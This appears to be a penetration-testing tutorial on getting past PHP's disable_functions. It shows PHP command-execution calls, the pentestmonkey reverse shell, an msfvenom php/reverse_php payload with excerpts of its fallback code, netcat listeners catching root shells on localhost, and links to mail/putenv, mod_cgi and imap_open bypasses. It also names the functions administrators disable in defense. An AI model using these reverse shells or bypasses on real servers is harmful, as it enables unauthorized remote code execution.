Bypassing Dangerous PHP Functions

system : immediately shows all output, and is used to show text

passthru: returns output immediately, but is used for binary data and is used for returning binary data instead of ascii.

shell_exec returns the full output of the command, when the command finished running.

exec: only returns the last line of the generated output.

Imagine that you found a file upload or Remote File Inclusion vulnerability where you can upload/request your php-reverse-shell and get a quick shell. However, it may be possible that administrator disabled all of the above php functions so let’s see these 4 dangerous php functions in action first before we jump to the other functions.

System

root@kali:~# cat system.php
<?php
system("whoami");
?>
root@kali:~#
root@kali:~# php system.php
root
root@kali:~#

Shell_exec

root@kali:~# cat shell_exec.php
<?php
echo shell_exec("whoami");
?>
root@kali:~# php shell_exec.php
root
root@kali:~#

Exec

root@kali:~# cat exec.php
<?php
echo exec("whoami");
?>
root@kali:~# php exec.php
root
root@kali:~#

Passthru

root@kali:~# cat pasthru.php
<?php
passthru("whoami");
?>
root@kali:~# php pasthru.php
root
root@kali:~#

Nice! We can run OS commands and get the output of the command. So what happens if we disable all of these 4 functions ? Disable dangerous php functions above from php.ini file under /etc/php/7.2/cli/php.ini and set display_errors to On.

If you are performing this exercise via your apache, you may need to disable them on /etc/php/7.2/apache2/php.ini . Let’s run the same php files again.

root@kali:~# php pasthru.php
PHP Warning:  passthru() has been disabled for security reasons in /root/pasthru.php on line 2

Warning: passthru() has been disabled for security reasons in /root/pasthru.php on line 2
root@kali:~#

Please also note that we are receiving this error due to Display_errors= On feature. You can enable this feature on production environment but you need to disable it on live environment.

PHP-Reverse-Shell Pentestmonkey

We all know famous php-reverse-shell for linux from pentest-monkey. We can try to get a shell with the reverse shell above as it uses proc_open function.

root@kali:/usr/share/webshells/php# PHP Notice:  Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184  

Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
Successfully opened reverse shell to 127.0.0.1:1234

Listening the shell. We got the root shell

root@kali:/usr/share/webshells/php# nc -lvp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 49308
Linux kali 4.17.0-kali1-686 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) i686 GNU/Linux
 15:08:16 up 1 day,  1:59,  1 user,  load average: 0.08, 0.10, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     :1       :1               07:23   ?xdm?   1:39   0.01s /usr/lib/gdm3/gdm-x-session --run-script gnome-session
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
#

Proc_open

Disable proc_open function as well.

root@kali:/usr/share/webshells/php# php php-reverse-shell.php
PHP Notice:  Undefined variable: pipes in /usr/share/webshells/php/php-reverse-shell.php on line 113

Notice: Undefined variable: pipes in /usr/share/webshells/php/php-reverse-shell.php on line 113
PHP Warning:  proc_open() has been disabled for security reasons in /usr/share/webshells/php/php-reverse-shell.php on line 113  

Warning: proc_open() has been disabled for security reasons in /usr/share/webshells/php/php-reverse-shell.php on line 113
PHP Notice:  Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184

Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
ERROR: Can't spawn shell
root@kali:/usr/share/webshells/php#

Msfvenom PHP Shell

We can’t get a shell now. Let’s create a msfvenom php shell.

root@kali:/usr/share/webshells/php# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=443 -f raw > shell.php   
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3046 bytes
root@kali:/usr/share/webshells/php#
root@kali:/usr/share/webshells/php# php shell.php
    /*^
We can get a shell. How possible ?
root@kali:/usr/share/webshells/php# nc -lvp 443
listening on [any] 443 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43828
id
uid=0(root) gid=0(root) groups=0(root)

So we disabled bunch of dangerous php functions but we can still get a shell. We can go through the php code now:

if($rRMZDi('shell_exec')and!$WzjhDqn('shell_exec',$dis)){

  ...SNIP...
      }else
      if($rRMZDi('passthru')and!$WzjhDqn('passthru',$dis)){

 ...SNIP...

      }else
      if($rRMZDi('popen')and!$WzjhDqn('popen',$dis)){
   
 ...SNIP...

      }else
      if($rRMZDi('exec')and!$WzjhDqn('exec',$dis)){

     ...SNIP...

      }else
      if($rRMZDi('system')and!$WzjhDqn('system',$dis)){

 ...SNIP...

      }else
      if($rRMZDi('proc_open')and!$WzjhDqn('proc_open',$dis)){
        $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);   

 ...SNIP...

It looks interesting. We can see shell_exec, passthru, popen, exec, system and proc_open functions in the code from msfvenom. Let’s compare again these functions to our disable_function in php.ini . Popen seems interesting.

Popen

After disabling popen, I would be able to still get a shell and i noticed another line from the shell.php which is below:

$nofuncs='no exec functions';
    if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
      $s=@fsockopen("tcp://127.0.0.1",$port);
      while($c=fread($s,2048)){
     ...SNIP...
}else{
      $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
      @socket_connect($s,$ipaddr,$port);
      @socket_write($s,"socket_create");
     ...SNIP...

Fsockopen and Socket_create

If no exec functions enabled, it uses fsockopen. I disabled fsockopen, socket_create as well as a result, I can’t get a shell now with shell.

Mail() and Putenv()

Here is a neat method which abuses of the mail() and putenv() functionality: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

You can download Chankro tool from the github and test it as well. It will work smoothly to bypass the disable_functions. In order to block this method, you also need to disable putenv() function.

Mod_cgi

Another method with mod_cgi: https://web.archive.org/web/20160708143917/https://blog.asdizzle.com/index.php/2016/05/02/getting-shell-access-with-php-system-functions-disabled/

Imap_open()

One of the latest bypassing disable_functions is using imap_open function. It looks really similar to mail() and putenv() bypass . Here you can find great explanation here: https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb

In order to prevent imap_open bypass, you need to set imap.enable_insecure_rsh to 0. It is 0 as default but if you are in the test environment and want to play with the vulnerability, you can set it to 1 and see the behavior with strace tool in Linux.

Last updated